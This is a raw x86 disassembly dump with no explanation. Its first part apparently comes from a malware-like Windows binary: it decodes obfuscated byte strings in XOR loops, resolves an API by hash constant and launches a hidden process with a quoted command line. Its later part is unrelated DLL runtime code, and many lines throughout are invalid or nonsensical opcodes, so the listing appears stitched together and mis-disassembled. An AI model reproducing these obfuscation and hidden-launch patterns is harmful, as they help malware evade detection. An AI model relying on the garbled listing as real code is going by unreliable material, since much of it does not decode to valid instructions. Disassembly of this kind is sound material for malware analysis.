mov byte [edi + edx - 0x2cddefd2], bl
mov ebx, dword [esi + 0x14]
inc edx
cmp edx, 0x2cddf039
jne 0x411300
mov edi, dword [esi + 0x80]
mov dword [edi], 0xd1adcffd
mov dword [edi + 4], 0xd5b9d3a0
mov word [edi + 8], 0xd7d4
mov dword [edi + 0xa], 0
xor edx, edx
nop
nop
mov ebx, edx
add bl, 0xcd
xor bl, byte [edi + edx]
dec bl
mov byte [edi + edx], bl
inc edx
cmp edx, 0xe
jne case.default.0x41138a
sub ecx, eax
mov ebx, dword [esi + 0x84]
push ebx
mov eax, edi
mov edi, dword [esi + 0x44]
push edi
push ecx
push dword [esi + 0x50]
push dword [esi + 0x14]
push eax
push 0x44f1c4
call fcn.0040f970
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x44a3dc]
xor eax, eax
cmp dword [esi + 8], 0
setg al
mov edi, dword [esi + 0x30]
mov ecx, dword [esi + 0x24]
jmp dword [eax*4 + 0x44a3fc]
xor eax, eax
cmp dword [esi + 0xc], 0
setg al
jmp dword [eax*4 + 0x44a404]
mov edi, dword [edi]
mov ecx, dword [ebx]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [edi + ecx - 1]
cmp edx, 0x3d
je 0x4113d0
cmp edx, 0x2e
jne 0x4113d1
dec eax
movzx ecx, byte [edi + ecx - 2]
cmp ecx, 0x3d
je 0x4113e0
cmp ecx, 0x2e
jne case.0x41056d.48
dec eax
mov ecx, dword [case.0x41138a.4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
push eax
call fcn.0040c8b0
add esp, 4
mov dword [esi], eax
push dword [esi]
push edi
call fcn.0043b2f0
add esp, 8
mov eax, dword [esi + 0x44]
push dword [eax]
call fcn.0043dc40
add esp, 4
push dword [esi]
call fcn.00403d70
add esp, 4
mov ebx, eax
mov edi, dword [esi + 0x30]
jmp dword [0x44a3f4]
push dword [esi]
call fcn.0040c8c0
add esp, 4
push ebx
call fcn.00417590
add esp, 4
push ebx
call fcn.00404940
add esp, 4
xor eax, eax
cmp dword [esi + 8], 0
setg al
mov ecx, dword [esi + 0x24]
jmp dword [eax*4 + 0x44a3fc]
push 1
call fcn.0040d280
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + 0x44f4cd], 0
lea eax, [eax + 1]
jne 0x411470
mov ecx, dword [esi + 0x1c]
mov dword [ecx], 0xeec4f8d8
mov dword [ecx + 4], 0xd5eeb5f9
mov dword [ecx + 8], 0x5fd0
mov byte [ecx + 0xc], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
mov ebx, ecx
and ebx, 0x12
mov edi, edx
xor edi, 0x29a1ed19
add edi, ebx
mov ebx, dword [esi + 0x1c]
movzx ebx, byte [ebx + edx]
xor edi, ebx
mov ebx, edi
or ebx, 0x82
add ebx, edi
not edi
or edi, 0x82
add ebx, edi
add bl, 2
mov edi, dword [esi + 0x1c]
mov byte [edi + edx], bl
mov ebx, dword [esi + 0x1c]
inc edx
add ecx, 2
cmp edx, 0xd
jne case.default.0x41150c
mov edi, dword [esi + 0x24]
mov ecx, edi
push eax
push 0x44f4cc
push ebx
call fcn.0040d480
mov ecx, edi
call fcn.0040db20
mov ecx, edi
call fcn.0040d2c0
xor eax, eax
cmp dword [esi + 0xc], 0
setg al
mov edi, dword [esi + 0x30]
jmp dword [eax*4 + 0x44a404]
push 0
call fcn.004432c0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44a40c]
mov ecx, dword [esi + 0x18]
mov dword [ecx], 0xe111e719
mov dword [ecx + 4], 0xfdd4e31c
mov dword [ecx + 8], 0xf976ff03
mov dword [ecx + 0xc], 0xf5dafb07
mov dword [ecx + 0x10], 0xf17bf7d6
mov dword [ecx + 0x14], 0x8d11f37c
mov dword [ecx + 0x18], 0x89028f7e
mov dword [ecx + 0x1c], 0x85bb8ba8
mov dword [ecx + 0x20], 0x817d8773
mov dword [ecx + 0x24], 0x9da28376
mov dword [ecx + 0x28], 0x99699f61
mov dword [ecx + 0x2c], 0x95ac9b64
mov dword [ecx + 0x30], 0x911e976b
mov dword [ecx + 0x34], 0xadb2936f
mov dword [ecx + 0x38], 0xa99faf8e
mov dword [ecx + 0x3c], 0xa58aab55
mov dword [ecx + 0x40], 0xa15da728
mov dword [ecx + 0x44], 0xbd5da357
mov dword [ecx + 0x48], 0xb931bf4d
mov dword [ecx + 0x4c], 0xb59abb34
mov dword [ecx + 0x50], 0xb13ab785
mov dword [ecx + 0x54], 0x4d7fb390
mov dword [ecx + 0x58], 0x497f4f6c
mov dword [ecx + 0x5c], 0x45bb4bbe
mov dword [ecx + 0x60], 0x41b447a6
mov dword [ecx + 0x64], 0x5da143bf
mov dword [ecx + 0x68], 0x597e5fa9
mov dword [ecx + 0x6c], 0x557a5b66
mov dword [ecx + 0x70], 0x51a957a8
mov dword [ecx + 0x74], 0x6d7253a4
mov dword [ecx + 0x78], 0x696e6f4e
mov byte [ecx + 0x7c], 0
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0xa9
mov ebx, dword [esi + 0x18]
xor dl, byte [ebx + ecx]
add dl, 0xb3
mov ebx, dword [esi + 0x18]
mov byte [ebx + ecx], dl
mov ebx, dword [esi + 0x18]
inc ecx
cmp ecx, 0x7d
jne 0x411610
movzx edx, word [ebx]
mov ecx, dword [esi + 0x2c]
test dx, dx
je 0x411651
add ebx, 2
mov ecx, dword [esi + 0x2c]
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x411640
mov word [ecx], 0
movzx edx, word [eax]
test dx, dx
je 0x411681
add eax, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x411670
mov dword [ecx], 0x220022
mov dword [ecx + 4], 0x22
mov dword [edi + 0x40], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0xc], 0
mov dword [edi + 8], 0
mov dword [edi + 4], 0
mov dword [edi], 0x44
mov dword [edi + 0x2c], 1
push 0x38c42730
push dword [0x4504cc]
call fcn.004433b0
add esp, 8
mov ecx, edi
mov edi, dword [esi + 0x28]
push edi
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push dword [esi + 0x2c]
push 0
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44a414]
jmp case.0x41150c.1
push dword [esi + 0x10]
call fcn.00404940
add esp, 4
jmp case.0x41056d.23
mov eax, dword [edi + 4]
mov dword [esi], eax
mov dword [esi + 0x3c], 0x34353a3b
xor ecx, ecx
mov eax, 0x803e6eaf
nop
nop
nop
nop
nop
nop
movzx edi, byte [esi + ecx + 0x3c]
mov edx, eax
and edx, 0x801e608a
mov ebx, ecx
and ebx, 1
or ebx, 0x59c09040
sub ebx, edx
lea edx, [edi + edi]
not edx
add edx, edi
and edx, 0x48
and edi, 0xffffffb7
or edi, edx
lea edx, [ebx + ebx]
not edx
add edx, ebx
and edx, 0x48
and ebx, 0xb7
or ebx, edx
xor ebx, edi
add bl, 0x72
mov byte [esi + ecx + 0x3c], bl
inc ecx
dec eax
cmp ecx, 4
jne 0x411770
mov ecx, dword [0x4504d8]
test ecx, ecx
mov eax, dword [esi + 0x28]
je 0x411801
mov edx, dword [esi + 0x3c]
xor edi, edi
mov ebx, dword [0x4504dc]
cmp dword [ebx + edi*8], 0xb62b8d10
je 0x4117e3
inc edi
cmp ecx, edi
jne 0x4117d3
jmp 0x411801
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
je 0x411801
push dword [esi]
push 1
push dword [0x4504e0]
push ecx
call fcn.00440d90
mov eax, dword [esi + 0x28]
add esp, 0x10
mov eax, dword [eax]
mov dword [esi], eax
mov dword [esi + 0x38], 0x34353a3b
xor ecx, ecx
mov eax, 0x803e6eaf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esi + ecx + 0x38]
mov edx, eax
and edx, 0x801e608a
mov ebx, ecx
and ebx, 1
or ebx, 0x59c09040
sub ebx, edx
lea edx, [edi + edi]
not edx
add edx, edi
and edx, 0x48
and edi, 0xffffffb7
or edi, edx
lea edx, [ebx + ebx]
not edx
add edx, ebx
and edx, 0x48
and ebx, 0xb7
or ebx, edx
xor ebx, edi
add bl, 0x72
mov byte [esi + ecx + 0x38], bl
inc ecx
dec eax
cmp ecx, 4
jne 0x411820
mov ecx, dword [0x4504d8]
test ecx, ecx
je case.0x41150c.1
mov edx, dword [esi + 0x38]
xor edi, edi
mov ebx, dword [0x4504dc]
cmp dword [ebx + edi*8], 0xb62b8d10
je 0x411890
inc edi
cmp ecx, edi
jne 0x411880
jmp case.0x41150c.1
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
je case.0x41150c.1
push dword [esi]
push 1
push dword [0x4504e0]
push ecx
call fcn.00440d90
add esp, 0x10
mov ecx, dword [esi + 0x40]
call fcn.0040d2c0
mov ecx, dword [esi + 0x54]
call fcn.0040d2c0
mov ecx, dword [esi + 0x58]
call fcn.0040d2c0
mov ecx, dword [esi + 0x5c]
call fcn.0040d2c0
mov ecx, dword [esi + 0x60]
call fcn.0040d2c0
mov ecx, dword [esi + 0x64]
call fcn.0040d2c0
mov al, 1
jmp 0x410c67
int3
in al, dx
push ecx
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
test edi, edi
jne 0x460e0a
push 0x57
pop esi
jmp 0x460e47
mov eax, dword [ecx + 8]
mov dword [edi], esi
mov dword [edi + 4], esi
test eax, eax
je 0x460e21
mov eax, dword [eax + 0x48]
mov dword [edi + 4], esi
mov eax, dword [eax + 4]
jmp 0x460e45
lea eax, [ebp - 8]
push eax
push dword [ecx + 0x1c]
call dword [0x1000704c]
test eax, eax
jne 0x460e3c
call dword [0x10007040]
mov esi, eax
jmp 0x460e47
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov dword [edi + 4], ecx
mov dword [edi], eax
pop edi
mov eax, esi
pop esi
leave
ret 4
mov esi, eax
jmp 0x460f28
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret 0x14
push edx
call 0x461165
test eax, eax
jne 0x461029
mov ebx, dword [ebp - 4]
lea edx, [edi + 0x30]
jmp 0x460fef
lea esi, [edi + 0x34]
mov ecx, dword [esi]
test ecx, ecx
jne 0x461020
lea eax, [edi + 0x38]
mov ecx, edi
push eax
push esi
push ebx
push dword [edx]
call 0x4613d1
test eax, eax
jne 0x461029
mov ecx, dword [esi]
test ecx, ecx
jne 0x461020
cmp dword [edi + 0x38], ecx
jne 0x461020
mov ecx, dword [edi + 0x30]
shr ebx, 1
mov dword [esi], ecx
mov dword [edi + 0x38], ebx
mov dword [edi + 0x3c], ecx
xor ecx, ecx
mov word [edi + 0x40], cx
pop edi
pop esi
pop ebx
leave
ret
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x461147
mov eax, dword [ebp - 8]
test eax, eax
jne 0x461131
mov edi, ebx
lea eax, [esi + esi]
jmp 0x461134
mov edi, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
push edi
push eax
push 0
push 0
call 0x461034
mov dword [ebp - 0xc], eax
jmp 0x46114a
mov edi, dword [ebp - 4]
pop esi
cmp edi, ebx
je 0x461159
invalid
or dl, byte [edi - 0x18]
pop edi
or eax, dword [eax]
add byte [ebx + 0x5f59f445], cl
push edi
call 0x461cb4
mov eax, dword [ebp - 0xc]
pop ecx
pop edi
pop ebx
leave
ret 4
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4611ee
and dword [eax], 0
lea eax, [ebp - 8]
and dword [ecx], 0
mov ecx, edi
push eax
call 0x460df3
mov esi, eax
test esi, esi
jne 0x4611f1
mov ebx, dword [ebp - 8]
lea eax, [ebx + 2]
push eax
call 0x461cbf
mov dword [edi + 0x30], eax
pop ecx
test eax, eax
jne 0x4611ae
push 8
jmp 0x4611f0
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push eax
push ebx
push ecx
push ecx
mov ecx, edi
call 0x460e8c
mov esi, eax
test esi, esi
jne 0x4611f1
cmp dword [ebp - 4], ebx
je 0x4611d0
push 0xd
jmp 0x4611f0
mov eax, dword [edi + 0x30]
mov ecx, dword [ebp + 8]
mov byte [ebx + eax], 0
mov eax, dword [edi + 0x30]
mov byte [ebx + eax + 1], 0
mov eax, dword [edi + 0x30]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ebx
jmp 0x4611fa
invalid
or al, 0x6a
push edi
push 0x57
pop esi
push dword [edi + 0x30]
call 0x461cb4
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8
call 0x461822
mov dword [edi + 0x28], eax
mov dword [ebx], eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call 0x462240
leave
ret 4
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0x10]
mov eax, ecx
xor ecx, ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
push esi
push edi
test ebx, ebx
je 0x4613bf
mov edi, dword [ebp + 0x14]
test edi, edi
je 0x4613bf
mov dword [ebx], ecx
mov dword [edi], ecx
cmp dword [ebp + 8], ecx
je 0x4613bf
cmp dword [ebp + 0xc], ecx
je 0x4613bf
lea ecx, [ebp - 4]
push ecx
mov ecx, eax
call 0x461253
mov esi, eax
test esi, esi
jne 0x4613c2
cmp dword [ebp - 4], 2
jne 0x461339
and dword [ebx], eax
and dword [edi], eax
jmp 0x4613c2
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 4]
or dword [ebp - 4], 0xffffffff
push eax
call 0x461209
mov esi, eax
test esi, esi
jne 0x4613c2
push eax
push eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push dword [ebp - 4]
call dword [0x10007060]
mov dword [ebp - 8], eax
test eax, eax
jne 0x461374
call dword [0x10007040]
mov esi, eax
jmp 0x4613c2
inc eax
push eax
call 0x461cbf
mov dword [ebp - 0xc], eax
pop ecx
test eax, eax
jne 0x461387
push 8
jmp 0x4613c1
xor ecx, ecx
push ecx
push ecx
push dword [ebp - 8]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push ecx
push dword [ebp - 4]
call dword [0x10007060]
mov ecx, dword [ebp - 8]
cmp ecx, eax
mov eax, dword [ebp - 0xc]
je 0x4613b5
push 0x7a
pop esi
push eax
call 0x461cb4
pop ecx
jmp 0x4613c2
mov byte [ecx + eax], 0
mov dword [ebx], eax
mov dword [edi], ecx
jmp 0x4613c2
push 0x57
pop esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0x10
add byte [ecx], bh
dec ebp
or al, 0xf
test byte [ecx - 0x77000000], bh
dec ebp
cld
lea ecx, [ebp - 4]
push ecx
mov ecx, eax
call 0x461253
mov esi, eax
test esi, esi
jne 0x4614ca
push 2
pop eax
cmp dword [ebp - 4], eax
jne 0x461437
and dword [edi], esi
and dword [ebx], esi
jmp 0x4614ca
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
or dword [ebp - 4], 0xffffffff
push eax
call 0x461209
mov esi, eax
test esi, esi
jne 0x4614ca
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push dword [ebp - 4]
call dword [0x10007064]
mov edi, eax
test edi, edi
jne 0x46146f
call dword [0x10007040]
mov esi, eax
jmp 0x4614ca
xor ecx, ecx
lea eax, [edi + 1]
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call 0x461cbf
mov dword [ebp - 8], eax
pop ecx
test eax, eax
jne 0x461492
push 8
jmp 0x4614c9
push edi
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push dword [ebp - 4]
call dword [0x10007064]
mov ecx, dword [ebp - 8]
cmp edi, eax
je 0x4614b8
push 0x7a
pop esi
push ecx
call 0x461cb4
pop ecx
jmp 0x4614ca
xor eax, eax
mov word [ecx + edi*2], ax
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
mov dword [ebx], edi
jmp 0x4614ca
pop esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0x10
int3
or byte [edx + 0x57], ch
pop esi
jmp 0x46166c
into
add byte [eax], al
add byte [esi + 0x53], dl
push 1
call dword [0x10007020]
test eax, eax
jne 0x4615b0
mov esi, 0x80090008
jmp 0x46166b
mov edx, dword [eax + 0x1c]
mov ecx, 0x10001620
mov eax, edx
mov bx, word [eax]
cmp bx, word [ecx]
jne 0x4615e0
test bx, bx
je case.0x4103c1.201
mov bx, word [eax + 2]
cmp bx, word [ecx + 2]
jne 0x4615e0
add eax, 4
add ecx, 4
test bx, bx
jne 0x4615ba
mov eax, esi
jmp 0x4615e5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4615f0
mov edi, 0x800c
jmp 0x461666
mov ecx, 0x10001630
mov eax, edx
mov bx, word [eax]
cmp bx, word [ecx]
jne 0x46161d
test bx, bx
je 0x461619
mov bx, word [eax + 2]
cmp bx, word [ecx + 2]
jne 0x46161d
add eax, 4
add ecx, 4
test bx, bx
jne 0x4615f7
mov eax, esi
jmp 0x461622
sbb eax, eax
or eax, 1
test eax, eax
jne 0x46162d
mov edi, 0x800d
jmp 0x461666
mov eax, 0x10001640
mov cx, word [edx]
cmp cx, word [eax]
jne 0x461658
test cx, cx
je 0x461654
mov cx, word [edx + 2]
cmp cx, word [eax + 2]
jne 0x461658
add edx, 4
add eax, 4
test cx, cx
jne 0x461632
mov eax, esi
jmp 0x46165d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x461666
mov edi, 0x800e
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
pop edi
pop ebx
mov eax, esi
pop esi
pop ebp
ret 8
int3
push ebx
push edi
push dword [ebp + 8]
mov dword [ebp - 4], ebx
call dword [0x1000700c]
test eax, eax
je 0x46175a
push dword [ebp - 4]
call 0x461cbf
mov esi, eax
pop ecx
test esi, esi
je 0x46175a
push edi
lea eax, [ebp - 4]
push eax
push esi
push 1
push dword [ebp + 8]
call dword [0x1000700c]
test eax, eax
jne 0x461742
call dword [0x10007040]
cmp eax, 0x103
je 0x46174f
mov eax, dword [ebp + 0xc]
cmp dword [esi], eax
je 0x46174d
mov edi, ebx
jmp 0x461720
mov bl, 1
push esi
call 0x461cb4
pop ecx
mov al, bl
jmp 0x46175c
xor al, al
pop edi
pop esi
pop ebx
leave
ret 8
mov eax, esi
pop esi
pop ebp
ret 0xc
mov esi, eax
push edi
call 0x461cb4
pop ecx
test esi, esi
je 0x46197a
jmp 0x461973
push esi
call dword [0x10007070]
xor eax, eax
test esi, esi
pop edi
sete al
pop esi
pop ebp
ret 0x14
int3
or al, 0xeb
add ebp, dword [edx + 8]
pop esi
push esi
call dword [0x10007070]
xor eax, eax
test esi, esi
pop edi
sete al
pop esi
pop ebp
ret 0xc
add byte [eax], al
pop ecx
test edi, edi
je 0x461a4f
push edi
call dword [0x10007070]
xor eax, eax
test edi, edi
pop edi
sete al
pop esi
leave
ret 8
push edi
push 4
call 0x461cbf
mov edi, eax
pop ecx
test edi, edi
je 0x461aaf
cmp dword [ebp + 0xc], 0
mov dword [edi], 0x10001020
je 0x461a96
push 0x57
pop esi
jmp 0x461aa2
push dword [ebp + 8]
mov ecx, edi
call 0x46070a
mov esi, eax
push edi
call 0x461cb4
pop ecx
test esi, esi
je 0x461ab9
jmp 0x461ab2
add ebp, dword [edx + 8]
push 8
pop esi
push esi
call dword [0x10007070]
xor eax, eax
test esi, esi
pop edi
sete al
pop esi
pop ebp
ret 8
adc bh, al
inc ebp
in al, dx
in al, dx
adc dword [eax], eax
adc bh, al
inc ebp
invalid
push esi
push 0x30
xor esi, esi
lea eax, [ebp - 0x23c]
push esi
push eax
call 0x4626c1
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0x10000000
call dword [0x10007088]
jo 0x461be0
adc byte [ebp - 0x7c7bf040], al
add byte [eax], al
invalid
jo 0x461be0
adc byte [ebp - 0x7c7bf040], al
add byte [eax], al
add byte [ebp - 0x20b7b], cl
dec dword [ecx - 0x20f4b]
dec dword [ecx - 0x2337b]
dec dword [ebp - 0x23b7b]
call dword [eax - 0x39]
test esp, eax
std
invalid
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0x23c]
push eax
mov dword [ebp - 0x23c], 0x30
mov dword [ebp - 0x238], 0x1000159c
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x228], 0x10001650
mov dword [ebp - 0x224], 0x10001670
mov dword [ebp - 0x220], 0x10001690
mov dword [ebp - 0x21c], 0x100016ac
mov dword [ebp - 0x218], 0x100016c8
mov dword [ebp - 0x214], 0x100016e8
call dword [0x10007034]
test eax, eax
je 0x461c6c
xor eax, eax
jmp 0x461c7e
call dword [0x10007040]
test eax, eax
jle 0x461c7e
movzx eax, ax
or eax, 0x80070000
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call 0x462240
leave
ret
rol bl, 0xcc
int3
invalid
push esi
push edi
jne 0x461e28
mov eax, dword [0x10006020]
test eax, eax
jle 0x461e9e
dec eax
xor ebx, ebx
mov dword [0x10006020], eax
mov esi, 0x100066cc
mov eax, dword fs:[0x18]
mov dword [ebp - 0xc], ebx
mov edx, dword [eax + 4]
mov ecx, edx
mov dword [ebp - 8], edx
clc
clc
xor eax, eax
lock cmpxchg dword [esi], ecx
xor edi, edi
inc edi
jmp 0x461d7d
cmp eax, edx
je 0x461d83
push 0x3e8
call dword [0x1000708c]
mov edx, dword [ebp - 8]
xor eax, eax
mov ecx, edx
lock cmpxchg dword [esi], ecx
test eax, eax
jne 0x461d63
jmp 0x461d86
mov dword [ebp - 0xc], edi
cmp dword [0x100066d0], 2
je 0x461d9c
cmp eax, 0x100066d0
add dh, byte [ebp + ecx + 0x6a]
pop ds
push 0x1f
call 0x46229c
pop ecx
jmp 0x461ef8
mov eax, dword [0x100066c8]
mov dword [ebp - 4], eax
test eax, eax
je 0x461e10
mov esi, dword [0x100066c4]
mov edi, eax
mov dword [ebp - 8], esi
sub esi, 4
cmp esi, eax
jb 0x461df4
mov ecx, dword [esi]
mov dword [ebp - 0x10], ecx
test ecx, ecx
je case.0x4103c1.203
mov dword [esi], ebx
call dword [0x100070d8]
call dword [ebp - 0x10]
mov edx, dword [0x100066c8]
mov ecx, dword [0x100066c4]
cmp edi, edx
jne 0x461de6
mov eax, dword [ebp - 4]
cmp dword [ebp - 8], ecx
je case.0x4103c1.203
mov eax, edx
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov esi, ecx
jmp case.0x4103c1.203
push eax
call dword [0x100070c4]
xor edi, edi
mov dword [0x100066c4], ebx
pop ecx
mov dword [0x100066c8], ebx
inc edi
mov esi, 0x100066cc
mov dword [0x100066d0], ebx
cmp dword [ebp - 0xc], ebx
jne 0x461ef8
xor eax, eax
xchg dword [esi], eax
jmp 0x461ef8
xor edi, edi
inc edi
cmp dword [ebp + 0xc], edi
jne 0x461ef8
les eax, [eax]
add byte [eax], al
les eax, [eax]
add byte [eax], al
mov eax, dword fs:[0x18]
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov esi, 0x100066cc
mov edx, dword [eax + 4]
mov dword [ebp - 0x10], edx
jmp 0x461e5e
cmp eax, edx
je 0x461e6c
push 0x3e8
call dword [0x1000708c]
mov edx, dword [ebp - 0x10]
xor eax, eax
mov ecx, edx
lock cmpxchg dword [esi], ecx
test eax, eax
jne 0x461e4c
jmp 0x461e6f
mov dword [ebp - 0xc], edi
cmp dword [0x100066d0], ebx
push 2
pop ebx
je 0x461e83
push 0x1f
call 0x46229c
jmp 0x461eb8
push 0x10001138
push 0x10001130
mov dword [0x100066d0], edi
call 0x4621ff
add eax, dword [bx + si]
add byte [ecx + 0x59], bl
add eax, dword [bx + si]
add byte [ecx + 0x59], bl
test eax, eax
je 0x461ea2
xor eax, eax
jmp 0x461efa
push 0x1000112c
push 0x10001128
call 0x4624b3
pop ecx
mov dword [0x100066d0], ebx
cmp dword [ebp - 0xc], 0
pop ecx
jne 0x461ec3
xor eax, eax
xchg dword [esi], eax
cmp dword [0x100066d4], 0
je 0x461ef2
push 0x100066d4
call 0x462300
pop ecx
test eax, eax
je 0x461ef2
push dword [ebp + 0x10]
mov esi, dword [0x100066d4]
mov ecx, esi
push ebx
push dword [ebp + 8]
call dword [0x100070d8]
call esi
inc dword [0x10006020]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0xc
or al, 0
jne 0x461f8e
cmp dword [0x10006020], 0
jne 0x461f8e
mov dword [ebp - 0x1c], esi
jmp 0x4621c7
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x461f9f
cmp eax, 2
jne 0x462044
mov edi, dword [0x100066d8]
test edi, edi
je 0x461ff7
mov dword [ebp - 4], 1
cmp dword [ebp + 0xc], 1
jne 0x461fc0
mov dword [0x10006024], 1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov ecx, edi
call dword [0x100070d8]
adc bh, bh
xlatb
adc bh, bh
xlatb
mov dword [ebp - 0x1c], eax
jmp 0x461ff4
mov dword [ebp - 4], esi
cmp dword [ebp - 0x1c], 0
je 0x4621c7
test dh, al
add dword [eax], eax
invalid
test dh, al
add dword [eax], eax
add bh, al
inc ebp
cld
add al, byte [eax]
add byte [eax], al
mov dword [ebp - 4], 2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call 0x461d18
mov dword [ebp - 0x1c], eax
jmp 0x462037
mov dword [ebp - 4], esi
cmp dword [ebp - 0x1c], 0
je 0x4621c7
mov dword [ebp - 4], 3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call 0x4624a7
mov dword [ebp - 0x1c], eax
jmp 0x46207a
mov dword [ebp - 4], esi
cmp dword [ebp + 0xc], 1
jne 0x46212d
cmp dword [ebp - 0x1c], 0
jne 0x46212d
mov dword [ebp - 4], 4
push esi
push esi
push dword [ebp + 8]
call 0x4624a7
jmp 0x4620bd
mov dword [ebp - 4], esi
mov dword [ebp - 4], 5
push esi
push esi
push dword [ebp + 8]
call 0x461d18
jmp 0x4620ec
mov dword [ebp - 4], esi
mov edi, dword [0x100066d8]
test edi, edi
je 0x46212d
mov dword [ebp - 4], 6
push esi
push esi
push dword [ebp + 8]
mov ecx, edi
call dword [0x100070d8]
call edi
jmp 0x46212a
mov dword [ebp - 4], esi
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x46213d
cmp eax, 3
jne 0x4621c7
mov dword [ebp - 4], 7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call 0x461d18
mov dword [ebp - 0x1c], eax
jmp 0x462173
mov dword [ebp - 4], esi
mov edi, dword [0x100066d8]
test edi, edi
je 0x4621c7
cmp dword [0x10006024], 0
je 0x4621c7
mov dword [ebp - 4], 8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov ecx, edi
call dword [0x100070d8]
call edi
mov dword [ebp - 0x1c], eax
jmp 0x4621c4
mov dword [ebp - 4], esi
mov dword [ebp - 4], 0xfffffffe
call 0x4621e8
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 0xc
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4622e6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4622f0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4622d6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push esp
mov eax, dword [ebp + 8]
sub eax, 0x10000000
push eax
push 0x10000000
call 0x4622b0
add esp, 8
test eax, eax
je 0x4623a1
mov eax, dword [eax + 0x24]
shr eax, 0x1f
not eax
and eax, 1
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4623ff
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4623ff
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
int3
je 0x462432
test esi, eax
jne 0x462496
lea eax, [ebp - 0xc]
push eax
call dword [0x10007080]
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
call dword [0x10007094]
xor dword [ebp - 4], eax
call dword [0x10007084]
xor dword [ebp - 4], eax
cld
cld
call dword [0x1000707c]
xor eax, dword [ebp - 4]
lea ecx, [ebp - 4]
xor eax, ecx
